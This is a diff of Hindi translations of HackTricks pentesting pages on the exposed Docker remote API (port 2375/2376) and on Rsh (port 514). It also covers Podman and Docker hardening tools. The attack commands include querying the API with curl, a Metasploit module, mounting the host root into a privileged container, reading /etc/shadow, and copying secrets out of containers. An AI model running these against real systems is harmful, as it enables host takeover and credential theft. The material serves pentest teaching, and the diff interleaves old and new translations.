**डॉकर और Podman के बीच सबसे बड़ा अंतर उनकी आर्किटेक्चर में है**। **डॉकर** एक **क्लाइंट-सर्वर** आर्किटेक्चर पर चलता है, जबकि **Podman** एक **डेमनलेस** आर्किटेक्चर पर चलता है। लेकिन इसका क्या मतलब है? **डॉकर** के साथ काम करते समय, आपको डॉकर CLI का उपयोग करना होता है, जो एक **पिछले प्लेटफ़ॉर्म डेमन** (डॉकर डेमन) के साथ संवाद करता है। मुख्य तर्क डेमन में निवास करता है, जो छवियों को बनाता है और कंटेनर्स को निष्पादित करता है। यह **डेमन रूट विशेषाधिकारों के साथ चलता है**। इसके बारे में विपरीत, **Podman** आर्किटेक्चर आपको **उन उपयोगकर्ता के तहत कंटेनर चलाने की अनुमति देता है जो कंटेनर शुरू कर रहा है** (fork/exec), और इस उपयोगकर्ता को किसी भी रूट विशेषाधिकार की आवश्यकता नहीं होती है। क्योंकि **Podman का डेमनलेस आर्किटेक्चर होता है, इसलिए Podman चलाने वाले प्रत्येक उपयोगकर्ता केवल अपने खुद के कंटेनर देख सकता है और संशोधित कर सकता है**। CLI उपकरण किसी सामान्य डेमन के साथ संवाद करता है नहीं होता है।
|
||||
एक डेमन के बिना पिछले कंटेनर क्रियान्वयन को समर्थन करने के लिए, Podman **systemd** के साथ एकीकरण करता है, जिससे systemd इकाइयों के माध्यम से कंटेनर प्रबंधन की अनुमति होती है। यह एकीकरण Podman संस्करण के साथ भिन्न होता है, मौजूदा और अभी तक न बनाए गए कंटेनरों के लिए इकाइयों को उत्पन्न करने की क्षमता प्रदान करता है, साथ ही systemd के कार्य को कंटेनरों के भीतर सुनिश्चित करने में सहायक होता है। Podman की तरह, Docker परंपरागत रूप से डेमन प्रक्रिया प्रबंधन के लिए systemd पर निर्भर होता है।
|
||||
|
||||
क्योंकि Podman के पास एक डेमन नहीं होता है, इसे बैकग्राउंड में कंटेनर्स चलाने का एक तरीका चाहिए। इसलिए, यह **systemd** के साथ एक एकीकरण प्रदान करता है, जो systemd यूनिट के माध्यम से कंटेनर्स को नियंत्रित करने की अनुमति देता है। Podman संस्करण के आधार पर, आप मौजूदा कंटेनर्स के लिए इन यूनिट्स को उत्पन्न कर सकते हैं या उनिट्स को उत्पन्न कर सकते हैं जो सिस्टम में मौजूद नहीं हैं। systemd के साथ एक और एकीकरण मॉडल है, जो systemd को एक कंटेनर के भीतर चलाने की संभावना प्रदान करता है। डिफ़ॉल्ट रूप से, डॉकर डेमन प्रक्रिया को नियंत्रित करने के लिए systemd का उपयोग करता है।
|
||||
|
||||
दूसरा मुख्य अंतर कंटेनर्स को कैसे निष्पादित किया जाता है के संबंध में होता है। **Podman** के साथ, **कंटेनर्स उपयोगकर्ता की विशेषाधिकारों के तहत निष्पादित होते हैं और डेमन के तहत नहीं**। इस बिंदु पर, रूटलेस कंटेनर्स की अवधारणा आती है, जिसका मतलब है कि कंटेनर बिना रूट विशेषाधिकारों के शुरू किए जा सकते हैं। रूटलेस कंटेनर्स रूटफ़ुल कंटेनर्स की तुलना में एक बड़ी फायदा रखते हैं क्योंकि (आपने सही गिनती की है) वे रूट खाते के तहत नहीं चलते हैं। इसका लाभ यह है कि यदि कोई हमलावर कंटेनर को पकड़ लेता है और उससे बाहर निकलता है, तो यह हमलावर मेजबान पर एक साधारण उपयोगकर्ता ही होता है। उपयोगकर्ता द्वारा शुरू किए गए कंटेनर्स की अधिक विशेषाधिकार या क्षमताएं नहीं हो सकती हैं। यह एक प्राकृतिक सुरक्षा स्तर जोड़ता है।
|
||||
एक और महत्वपूर्ण भिन्नता कंटेनरों के क्रियान्वयन में है। Podman उपयोक्ता की विशेषाधिकारों के तहत कंटेनरों को चलाने की अनुमति देता है, न किसी डेमन के तहत। इससे रूटलेस कंटेनरों की अवधारणा प्रस्तुत होती है, जिन्हें बिना रूट एक्सेस के आरंभ किया जा सकता है, जो कंटेनर उल्लंघन के संभावित प्रभाव को सीमित करके महत्वपूर्ण सुरक्षा लाभ प्रदान करता है। रूटलेस कंटेनर सुनिश्चित करते हैं कि एक प्रभावित कंटेनर के हमलावर के पास होस्ट पर सामान्य उपयोक्ता की विशेषाधिकार होती है, जो उपयोक्ता की विशेषाधिकारों से आगे नहीं बढ़ने देती है और इसके द्वारा सुरक्षा को बढ़ाती है।
|
||||
|
||||
{% hint style="info" %}
|
||||
ध्यान दें कि Podman डॉकर के समान API का समर्थन करने के लिए बनाया गया है, इसलिए आप Podman के साथ डॉकर के समान कमांड का उपयोग कर सकते हैं, जैसे कि:
|
||||
ध्यान दें कि podman डॉकर के साथ एक ही API का समर्थन करने का लक्ष्य रखता है, आप podman के साथ भी डॉकर जैसे ही कमांड का उपयोग कर सकते हैं जैसे:
|
||||
```bash
|
||||
podman --version
|
||||
podman info
|
||||
|
@ -101,7 +101,7 @@ podman ls
|
|||
|
||||
## मूलभूत जानकारी
|
||||
|
||||
यदि सक्षम हो जाए, तो रिमोट API डिफ़ॉल्ट रूप से 2375 पोर्ट पर चल रहा होता है। डिफ़ॉल्ट रूप से सेवा को प्रमाणीकरण की आवश्यकता नहीं होती है, जिससे एक हमलावर्धी एक विशेषाधिकृत डॉकर कंटेनर शुरू कर सकता है। रिमोट API का उपयोग करके, हमलावर्धी होस्ट / (रूट निर्देशिका) को कंटेनर से जोड़ा जा सकता है और होस्ट के पर्यावरण के फ़ाइलों को पढ़ने / लिखने के लिए।
|
||||
दूरस्थ API डिफ़ॉल्ट रूप से 2375 पोर्ट पर चल रहा है जब सक्षम होता है। सेवा डिफ़ॉल्ट रूप से प्रमाणीकरण की आवश्यकता नहीं होगी, जिससे एक हमलावर को एक विशेषाधिकारी डॉकर कंटेनर शुरू करने की अनुमति मिलती है। दूरस्थ API का उपयोग करके कोई भी मेज़बान / (रूट निर्देशिका) को कंटेनर से जोड़ सकता है और मेज़बान के वातावरण की फ़ाइलें पढ़ / लिख सकता है।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 2375
|
||||
```
|
||||
|
@ -112,7 +112,7 @@ PORT STATE SERVICE
|
|||
|
||||
### मैन्युअल
|
||||
|
||||
ध्यान दें कि डॉकर API की जांच के लिए आप `docker` कमांड या `curl` का उपयोग कर सकते हैं, जैसा कि निम्न उदाहरण में दिखाया गया है:
|
||||
ध्यान दें कि डॉकर API की जांच के लिए आप `docker` कमांड या `curl` का उपयोग कर सकते हैं जैसे निम्नलिखित उदाहरण में:
|
||||
```bash
|
||||
#Using curl
|
||||
curl -s http://open.docker.socket:2375/version | jq #Get version
|
||||
|
@ -148,19 +148,19 @@ docker-init:
|
|||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
यदि आप **`docker` कमांड के साथ दूरस्थ डॉकर API से संपर्क कर सकते हैं** तो आप सेवा के साथ संबंधित किसी भी **डॉकर** [**पहले टिप्पणी किए गए** कमांड](2375-pentesting-docker.md#basic-commands) को **चला सकते हैं**।
|
||||
यदि आप **`docker` कमांड के साथ रिमोट डॉकर API से संपर्क स्थापित कर सकते हैं** तो आप सेवा के साथ रुचि दिखाने के लिए **किसी भी** [**पहले कमेंट किए गए** कमांड](2375-pentesting-docker.md#basic-commands) को **निष्पादित** कर सकते हैं।
|
||||
|
||||
{% hint style="info" %}
|
||||
आप `export DOCKER_HOST="tcp://localhost:2375"` कर सकते हैं और डॉकर कमांड के साथ `-H` पैरामीटर का उपयोग **अवरोधित कर सकते हैं**।
|
||||
आप `export DOCKER_HOST="tcp://localhost:2375"` कर सकते हैं और **docker** कमांड के साथ `-H` पैरामीटर का उपयोग **बचा सकते** हैं।
|
||||
{% endhint %}
|
||||
|
||||
#### त्वरित विशेषाधिकार उन्नयन
|
||||
#### त्वरित विशेषाधिकार उन्नति
|
||||
```bash
|
||||
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||||
```
|
||||
#### Curl
|
||||
|
||||
कभी-कभी आप **2376** पर **TLS** एंडपॉइंट को देखेंगे। मैं डॉकर क्लाइंट के साथ इससे कनेक्ट करने में सक्षम नहीं रहा हूँ, लेकिन आप curl का उपयोग करके डॉकर API को आसानी से हिट कर सकते हैं।
|
||||
कभी-कभी आप **TLS** एंडपॉइंट के लिए **2376** देखेंगे। मैं डॉकर क्लाइंट के साथ इससे कनेक्ट करने में सक्षम नहीं रहा हूँ लेकिन आप curl का उपयोग करके डॉकर एपीआई को हिट करने में कोई समस्या नहीं है।
|
||||
```bash
|
||||
#List containers
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
|
@ -190,94 +190,94 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
|
|||
#Delete stopped containers
|
||||
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
|
||||
```
|
||||
यदि आप इसके बारे में अधिक जानकारी चाहते हैं, तो जहां से मैंने कमांड कॉपी की है, वहां अधिक जानकारी उपलब्ध है: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
||||
यदि आप इसके बारे में अधिक जानकारी चाहते हैं, तो वहाँ अधिक जानकारी उपलब्ध है जहाँ से मैंने कमांड कॉपी किए हैं: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
||||
|
||||
### स्वचालित
|
||||
```bash
|
||||
msf> use exploit/linux/http/docker_daemon_tcp
|
||||
nmap -sV --script "docker-*" -p <PORT> <IP>
|
||||
```
|
||||
## अपने अधिकारों को बढ़ाना
|
||||
## Compromising
|
||||
|
||||
निम्नलिखित पृष्ठ में आपको **एक डॉकर कंटेनर से बाहर निकलने** के तरीके मिलेंगे:
|
||||
निम्नलिखित पृष्ठ पर आप एक डॉकर कंटेनर से बाहर निकलने के तरीके पा सकते हैं:
|
||||
|
||||
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
|
||||
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
इसका दुरुपयोग करके एक कंटेनर से बाहर निकलना संभव है, आप दूरस्थ मशीन में एक कमजोर कंटेनर चला सकते हैं, उससे बाहर निकल सकते हैं, और मशीन को संकट में डाल सकते हैं:
|
||||
इसका दुरुपयोग करके एक कंटेनर से बाहर निकलना संभव है, आप रिमोट मशीन में एक कमजोर कंटेनर चला सकते हैं, उससे बाहर निकल सकते हैं, और मशीन को कंप्रमाइज कर सकते हैं:
|
||||
```bash
|
||||
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
||||
cat /mnt/etc/shadow
|
||||
```
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
|
||||
|
||||
## विशेषाधिकार बढ़ाना
|
||||
## विशेषाधिकार उन्नयन
|
||||
|
||||
यदि आप एक होस्ट के अंदर हैं जो डॉकर का उपयोग कर रहा है, तो आप [**इस जानकारी को पढ़कर विशेषाधिकार को बढ़ाने का प्रयास कर सकते हैं**](../linux-hardening/privilege-escalation/#writable-docker-socket).
|
||||
यदि आप एक होस्ट के अंदर हैं जो डॉकर का उपयोग कर रहा है, तो आप [**विशेषाधिकार उन्नयन करने के लिए इस जानकारी को पढ़ सकते हैं**](../linux-hardening/privilege-escalation/#writable-docker-socket).
|
||||
|
||||
## चल रहे Docker कंटेनर में रहस्यों की खोज
|
||||
## चल रहे Docker containers में रहस्यों का खोज
|
||||
```bash
|
||||
docker ps [| grep <kubernetes_service_name>]
|
||||
docker inspect <docker_id>
|
||||
```
|
||||
गुप्त जानकारी के लिए **env** (पर्यावरण चर खंड) की जांच करें और आप निम्नलिखित को पाएंगे:
|
||||
गुप्त जानकारी के लिए **env** (पर्यावरण चर खंड) की जाँच करें और आपको निम्नलिखित मिल सकता है:
|
||||
|
||||
* पासवर्ड।
|
||||
* आईपी।
|
||||
* आईपी पते।
|
||||
* पोर्ट।
|
||||
* पथ।
|
||||
* अन्य... .
|
||||
|
||||
यदि आप एक फ़ाइल निकालना चाहते हैं:
|
||||
अगर आप एक फ़ाइल निकालना चाहते हैं:
|
||||
```bash
|
||||
docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
```
|
||||
## अपने Docker को सुरक्षित करना
|
||||
## अपने Docker को सुरक्षित बनाना
|
||||
|
||||
### Docker स्थापना और उपयोग को सुरक्षित करना
|
||||
### Docker स्थापना और उपयोग को सुरक्षित बनाना
|
||||
|
||||
* आप अपनी मौजूदा Docker स्थापना की जांच करने के लिए उपकरण [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) का उपयोग कर सकते हैं।
|
||||
* आप [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) उपकरण का उपयोग कर सकते हैं अपनी वर्तमान docker स्थापना की जांच करने के लिए।
|
||||
* `./docker-bench-security.sh`
|
||||
* आप अपनी मौजूदा Docker स्थापना की जांच करने के लिए उपकरण [https://github.com/kost/dockscan](https://github.com/kost/dockscan) का उपयोग कर सकते हैं।
|
||||
* आप [https://github.com/kost/dockscan](https://github.com/kost/dockscan) उपकरण का उपयोग कर सकते हैं अपनी वर्तमान docker स्थापना की जांच करने के लिए।
|
||||
* `dockscan -v unix:///var/run/docker.sock`
|
||||
* आप अलग-अलग सुरक्षा विकल्पों के साथ चलाए जाने पर एक कंटेनर के प्रभाव को जानने के लिए उपकरण [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) का उपयोग कर सकते हैं। इससे कंटेनर को चलाने के लिए कुछ सुरक्षा विकल्पों का उपयोग करने के प्रभाव को जानने में मदद मिलती है:
|
||||
* आप [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) उपकरण का उपयोग कर सकते हैं जब विभिन्न सुरक्षा विकल्पों के साथ चलाया जाएगा तो एक कंटेनर किस प्रकार की विशेषाधिकार होगी। इससे किसी सुरक्षा विकल्प का उपयोग करने के परिणामों को जानना उपयोगी है एक कंटेनर चलाने के लिए:
|
||||
* `docker run --rm -it r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
|
||||
### Docker इमेज को सुरक्षित करना
|
||||
### Docker छवियों को सुरक्षित बनाना
|
||||
|
||||
* आप [https://github.com/quay/clair](https://github.com/quay/clair) के डॉकर इमेज का उपयोग करके अपनी अन्य डॉकर इमेजों को स्कैन करके संकटकारीता खोज सकते हैं।
|
||||
* आप [https://github.com/quay/clair](https://github.com/quay/clair) का डॉकर छवि उपयोग कर सकते हैं ताकि यह आपकी अन्य डॉकर छवियों को स्कैन कर सके और विकल्पिताओं को खोज सके।
|
||||
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
|
||||
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
|
||||
|
||||
### Dockerfiles को सुरक्षित करना
|
||||
### Dockerfiles को सुरक्षित बनाना
|
||||
|
||||
* आप अपने Dockerfile की जांच करने और सभी प्रकार की गलतियों का पता लगाने के लिए उपकरण [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) का उपयोग कर सकते हैं। प्रत्येक गलति को एक आईडी दिया जाएगा, आप यहां [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) से प्रत्येक को कैसे ठीक करें इसका पता लगा सकते हैं।
|
||||
* आप [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) उपकरण का उपयोग कर सकते हैं **अपने Dockerfile की जांच** करने के लिए और सभी प्रकार की गलतियों को खोजने के लिए। हर गलती को एक आईडी दिया जाएगा, आप यहाँ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) प्रत्येक को कैसे ठीक करें इसे खोज सकते हैं।
|
||||
* `dockerfilelinter -f Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (418).png>)
|
||||
|
||||
* आप अपने Dockerfile की जांच करने और सभी प्रकार की गलतियों का पता लगाने के लिए उपकरण [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) का उपयोग कर सकते हैं।
|
||||
* आप [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) उपकरण का उपयोग कर सकते हैं **अपने Dockerfile की जांच** करने के लिए और सभी प्रकार की गलतियों को खोजने के लिए।
|
||||
* `dockerfilelint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (419).png>)
|
||||
|
||||
* आप अपने Dockerfile की जांच करने और सभी प्रकार की गलतियों का पता लगाने के लिए उपकरण [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) का उपयोग कर सकते हैं।
|
||||
* आप [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) उपकरण का उपयोग कर सकते हैं **अपने Dockerfile की जांच** करने के लिए और सभी प्रकार की गलतियों को खोजने के लिए।
|
||||
* `dockerlint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (420).png>)
|
||||
|
||||
* आप अपने Dockerfile की जांच करने और सभी प्रकार की गलतियों का पता लगाने के लिए उपकरण [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) का उपयोग कर सकते हैं।
|
||||
* आप [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) उपकरण का उपयोग कर सकते हैं **अपने Dockerfile की जांच** करने के लिए और सभी प्रकार की गलतियों को खोजने के लिए।
|
||||
* `hadolint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (421).png>)
|
||||
|
||||
### संदिग्ध गतिविधि को लॉग करना
|
||||
### संदेहपूर्ण गतिविधि को लॉग करना
|
||||
|
||||
* आप [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) उपकरण का उपयोग करके **चल रहे कंटेनर में संदिग्ध व्यवहार का पता लगा सकते हैं**।
|
||||
* निम्नलिखित चंक्र में ध्यान दें कि **Falco एक कर्नल मॉड्यूल को कंपाइल करता है और इसे सम्मिलित करता है**। इसके बाद, यह नियमों को लोड करता है और **संदिग्ध गतिविधियों को लॉग करना शुरू करता है**। इस मामले में, इसने 2 विशेषाधिकृत कंटेनरों की शुरुआत की है, जिनमें से एक महत्वपूर्ण माउंट के साथ था, और कुछ ही सेकंडों बाद यह जांचा कि एक कंटेनर के अंदर एक शैल खोल दिया गया था।
|
||||
* आप [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) उपकरण का उपयोग कर सकते हैं **चल रहे कंटेनरों में संदेहपूर्ण व्यवहार** का पता लगाने के लिए।
|
||||
* निम्नलिखित टुकड़े में ध्यान दें कैसे **Falco एक कर्नेल मॉड्यूल को कंपाइल करता है और इसे सम्मिलित करता है**। इसके बाद, यह नियमों को लोड करता है और **संदेहपूर्ण गतिविधियों को लॉग करना शुरू करता है**। इस मामले में यह दो विशेषाधिकारी कंटेनर शुरू किए गए हैं, जिनमें से एक महत्वपूर्ण माउंट के साथ था, और कुछ सेकंड के बाद यह खोजा कि कैसे एक कंटेनर के अंदर एक शैल खोला गया था।
|
||||
```
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
|
@ -318,18 +318,9 @@ falco-probe found and loaded in dkms
|
|||
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
|
||||
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
|
||||
```
|
||||
### Docker का मॉनिटरिंग
|
||||
### मॉनिटरिंग डॉकर
|
||||
|
||||
आप डॉकर को मॉनिटर करने के लिए auditd का उपयोग कर सकते हैं।
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** करें।**
|
||||
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें।**
|
||||
|
||||
</details>
|
||||
# संदर्भ
|
||||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
|
|
|
@ -1,24 +1,24 @@
|
|||
# 514 - पेंटेस्टिंग आरएसएच
|
||||
# 514 - पेंटेस्टिंग Rsh
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>एडब्ल्यूएस हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (हैकट्रिक्स एडब्ल्यूएस रेड टीम एक्सपर्ट)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
हैकट्रिक्स का समर्थन करने के अन्य तरीके:
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन हैकट्रिक्स में दिखाई दे** या **हैकट्रिक्स को पीडीएफ में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक पीईएएसएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**द पीईएएसएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीस**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) पर **फॉलो करें**.
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, पीआर जमा करके** [**हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) और [**हैकट्रिक्स क्लाउड**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रेपोज में.
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
## मूल जानकारी
|
||||
|
||||
**आरएसएच** **.rhosts** फाइलों और **/etc/hosts.equiv** का उपयोग प्रमाणीकरण के लिए करता है। ये विधियां आईपी पते और डीएनएस (डोमेन नाम सिस्टम) पर आधारित प्रमाणीकरण पर निर्भर करती थीं। हालांकि, आईपी पते का स्पूफिंग काफी आसान है, खासकर यदि हमलावर स्थानीय नेटवर्क पर हो।
|
||||
प्रमाणीकरण के लिए **.rhosts** फ़ाइलें साथ ही **/etc/hosts.equiv** का उपयोग **Rsh** द्वारा किया गया था। प्रमाणीकरण IP पतों और डोमेन नाम प्रणाली (DNS) पर निर्भर था। IP पतों का आसानी से spoofing, विशेष रूप से स्थानीय नेटवर्क पर, एक महत्वपूर्ण सुरक्षा दोष था।
|
||||
|
||||
इसके अलावा, **.rhosts** फाइलें उपयोगकर्ताओं के होम डायरेक्टरीज में संग्रहीत की जाती थीं, जो आमतौर पर एनएफएस (नेटवर्क फाइल सिस्टम) वॉल्यूम्स पर संग्रहीत होती थीं। (यहाँ से: [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh))।
|
||||
इसके अतिरिक्त, यह सामान्य था कि **.rhosts** फ़ाइलें उपयोगकर्ताओं के होम निर्देशिकाओं में रखी जाती थीं, जो अक्सर नेटवर्क फ़ाइल सिस्टम (NFS) वॉल्यूम पर स्थित होती थीं।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट**: 514
|
||||
|
||||
|
@ -31,16 +31,19 @@ rsh domain\\user@<IP> <Command>
|
|||
```
|
||||
### [**ब्रूट फोर्स**](../generic-methodologies-and-resources/brute-force.md#rsh)
|
||||
|
||||
## संदर्भ
|
||||
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)]
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github रेपोज**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,14 +1,14 @@
|
